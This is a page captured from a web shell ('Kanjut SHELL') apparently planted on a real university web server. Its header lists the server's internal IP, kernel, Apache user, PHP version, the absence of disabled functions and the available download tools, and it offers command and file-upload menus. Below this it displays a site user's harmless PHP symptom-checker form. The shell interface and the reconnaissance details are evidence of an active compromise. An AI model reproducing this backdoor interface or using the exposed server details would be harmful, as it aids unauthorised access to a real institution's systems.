Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.14.249.124
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/tdturner/../wcdavis/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/tdturner/../wcdavis/public_html/multisymptom2.php
<?php	session_start();	?>
<BODY
background="http://www.wallsave.com/wallpapers/1920x1080/zen-garden/212876/zen-garden-p-hd-taringa-x-picture-212876.jpg">

<CENTER><H2>Step Two of the Process:</H2></CENTER>
<hr>
<FORM action=multisymptom3.php method=post>
<FONT face='Helvetica' size=4>
<?php
        $index = $_POST['symptom'];
	$_SESSION['index'] = $index;
        $menu = array('Headache and/or Migraine', 'Local Pain',
'Cold and Flu', 'Nervous System',
'Cardiovascular', 'Abdominal Discomfort', 'Feminine Problems',
'Urinary problems', 'Other');
	
	//print_r($_POST['symptom']); 		acts as a debug to print values in $index
	echo "<BR>";
        if(count($index) ==0)
        	echo "Please go back <A HREF=multisymptom.php> and select 
your symptom.</A><br>";

	else
	{	echo "The symptoms you selected are:<BR>";
		$i=0;
		foreach ($index as $item)
		{
			$cond = "$menu[$item]"; $symptom[$i]=$cond; $i++;
			echo "<B>&nbsp $cond </B> <br> ";
		}
			$_SESSION['cond'] = $cond;
			echo "<P> Now choose exactly what symptoms you are 
exhibiting:<HR>";
		
	
        if(in_array('0', $index))
	{
?>
<B>Headache and Migraine Diagnosis:</B><BR>
<FORM action="diagnosis.php" method=post>
<INPUT type=checkbox name=value[1] value=1> Frontal Headache<BR>
<INPUT type=checkbox name=value[2] value=1> Back of the Head<BR>
<INPUT type=checkbox name=value[3] value=1> Side of the Head<BR>
<INPUT type=checkbox name=value[4] value=1> Top of the head<BR>
<INPUT type=checkbox name=value[5] value=1> Pain in the Eye (Migraine)<BR>
<HR>
<?php	
	}
	if(in_array('1', $index))
	{
?>
<P><B>Local Pain Diagnosis:</B><BR>
<INPUT type=checkbox name=value[6] value=1> Jaw<BR>
<INPUT type=checkbox name=value[7] value=1> Toothache<BR>
<INPUT type=checkbox name=value[8] value=1> Ear<BR>
<INPUT type=checkbox name=value[9] value=1> Neck<BR> 
<INPUT type=checkbox name=value[10] value=1> Shoulder<BR>
<INPUT type=checkbox name=value[11] value=1> Wrist<BR>
<INPUT type=checkbox name=value[12] value=1> Hand<BR>          
<INPUT type=checkbox name=value[13] value=1> Backache<BR>
<INPUT type=checkbox name=value[14] value=1> Hip<BR>               
<INPUT type=checkbox name=value[15] value=1> Knee<BR>
<INPUT type=checkbox name=value[16] value=1> Ankle<BR> 
<INPUT type=checkbox name=value[17] value=1> Foot<BR>     
<HR>
<?php
	}
        if(in_array('2', $index))
	{
?>
<P><B>Cold and Flu Diagnosis:</B><BR>
<INPUT type=checkbox name=value[18] value=1> Sore Throat<BR>
<INPUT type=checkbox name=value[19] value=1> Sinusitis<BR>
<INPUT type=checkbox name=value[20] value=1> Loss of Voice<BR>
<INPUT type=checkbox name=value[21] value=1> Earaches<BR>
<INPUT type=checkbox name=value[22] value=1> Allergy (Migraine)<BR>
<HR>
<?php
	}
        if(in_array('3', $index))
	{
?>
<P><B>Nervous System Diagnosis:</B><BR>
<INPUT type=checkbox name=value[23] value=1> Anxiety attacks and Nervousness<BR>
<INPUT type=checkbox name=value[24] value=1> Depression<BR>
<INPUT type=checkbox name=value[25] value=1> Insomnia<BR>
<INPUT type=checkbox name=value[26] value=1> Fainting<BR>
<INPUT type=checkbox name=value[27] value=1> Hiccoughs<BR>
<INPUT type=checkbox name=value[28] value=1> Memory and Concentration Improvement<BR>
<HR>
<?php
	}
	if(in_array('4', $index))
	{
?>
<P><B>Cardiovascular Diagnosis:</B><BR>
<INPUT type=checkbox name=value[29] value=1> Angina<BR>
<INPUT type=checkbox name=value[30] value=1> Palpitations<BR>
<INPUT type=checkbox name=value[31] value=1> High Blood Pressure Treatment<BR>
<HR>
<?php
	}
	if(in_array('5', $index))
	{
?>
<P><B>Abdominal Discomfort Diagnosis:</B><BR>
<INPUT type=checkbox name=value[32] value=1> Constipation<BR>
<INPUT type=checkbox name=value[33] value=1> Diarrhea<BR>
<INPUT type=checkbox name=value[34] value=1> Heartburn<BR>
<INPUT type=checkbox name=value[35] value=1> Stomachache<BR>
<HR>
<?php
	}
	if(in_array('6', $index))
	{
?>
<P><B>Women only Diagnosis:</B><BR>
<INPUT type=checkbox name=value[36] value=1> PMS and painful Periods<BR>
<INPUT type=checkbox name=value[37] value=1> Hot Flashes<BR>
<INPUT type=checkbox name=value[38] value=1> Acupressure During Pregnancy<BR>
<HR>
<?php
	}
	if(in_array('7', $index))
	{ 
?> 
<P><B>Urinary Problem Diagnosis:</B><BR>
<INPUT type=checkbox name=value[39] value=1> Bed-Wetting<BR> 
<INPUT type=checkbox name=value[40] value=1> Incontinence<BR> 
<INPUT type=checkbox name=value[41] value=1> Urinary Retention<BR>
<HR>
<?php
	}
	if(in_array('8', $index))
	{
?>
<P><B>Other Diagnosis:</B><BR>
<INPUT type=checkbox name=value[42] value=1> Weight Loss<BR>
<INPUT type=checkbox name=value[43] value=1> Nose Bleeding<BR>
<INPUT type=checkbox name=value[44] value=1> Allergies<BR>   
<INPUT type=checkbox name=value[45] value=1> Itching<BR>
<INPUT type=checkbox name=value[46] value=1> Asthma<BR>
<INPUT type=checkbox name=value[47] value=1> Decreased Libido<BR>
<INPUT type=checkbox name=value[48] value=1> Hangover Treatment<BR>
<HR>
<?php
	}

?>
<INPUT type=submit value=Submit>
<INPUT type=reset value=reset>
<?php
	}
?>
</FORM>
</BODY>

Stv3n404 - 2023